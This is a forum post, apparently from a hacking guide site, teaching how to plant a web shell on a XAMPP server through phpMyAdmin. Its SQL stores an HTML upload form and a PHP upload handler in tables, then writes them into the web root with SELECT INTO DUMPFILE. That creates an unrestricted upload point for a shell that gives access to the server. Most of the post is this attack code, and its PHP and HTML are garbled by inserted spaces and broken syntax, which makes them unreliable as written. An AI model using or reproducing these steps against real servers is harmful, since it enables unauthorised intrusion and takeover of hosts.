Forum Thread: Upload Shell from Phpmyadmin (Xampp) . By Mohamed Ahmed.

I will teach you how to upload a shell from phpmyadmin:

The first thing to do is to have access to phpmyadmin.
Then create a database within phpmyadmin with the name you want.
After the database is created we go to SQL and we start to put the following scripts:
The first is this:

Code:
CREATE TABLE `NAME OF THE DB`.`userform` (
`track1` VARCHAR (1000) NOT NULL
) ENGINE = MYISAM;

After doing this we must give to continue and put a new script, which is this:

code
CREATE TABLE `NAME OF THE DB`.`user_upload` (
`track2` VARCHAR (1000) NOT NULL
) ENGINE = MYISAM;

After doing this second step insert the new script with the same steps as above, which is this:

Code:
insert into userform values ('<! DOCTYPE html PUBLIC "- // W3C // DTD XHTML 1.0 Transitional // EN"

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns = "http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv = "Content-Type" content = "text / html; charset = utf-8" />
<title> Upload file to the server </ title>
</ head>
<body bgcolor = "white">
<div style = "text-align: center; margin-top: 60px; font-size: 25px;
"> & gt; & gt; & nbsp; Upload !!! </ div>
<div style = "border: 1px; width: 340px; height: 70px;">
<form enctype = "multipart / form-data" action = "upload.php" method = "post">
<input name = "userfile" type = "file" /> & nbsp;
<input type = "submit" value = "Upload" />
</ form>
</ div>
</ body>
</ html> ');

After uploading the third uploader script we go to the following script:

Code:
select * into dumpfile 'C:/xampp/htdocs/form.php' from userform

After doing this step we will insert the following script with the same previous steps:

code
INSERT INTO user_upload
VALUES (

<$ php $ uploaddir = 'C: / xampp / htdocs /'; $ uploadfile = $ uploaddir .basename ($ _ FILES 'userfile' 'name'); if

(moveuploadedfile ($ _ FILES 'userfile' 'tmp_name', $ uploadfile)) {print '<body bgcolor = # 000> </ br> </ br> <div

align = center> <font size = 5 color = # ff0000> Uploaded successfully !! </ font> </ body> '; } else {print '<body

bgcolor = # 000> </ br> <div id = center> <font size = 5 color = # ff0000> Error uploading file !! </ font> </ body> '; } ">"

)

Already done this last but one step we go to the last script that will give us the privilege of uploading the shell to the main directory of the server:

code
select * into dumpfile 'C:/xampp/htdocs/upload.php' from user_upload

Once all these steps are finished we will have the privilege to upload shell to the main directory and to have access to the server or host. To go to the upload we must go to http://website.com/form.php and we can upload the shell.

Greetings. :\0
m.ahmed

Never Miss a Hacking or Security Guide

Get new Null Byte guides every week.

Be the First to Respond

Share Your Thoughts

  • Hot
  • Active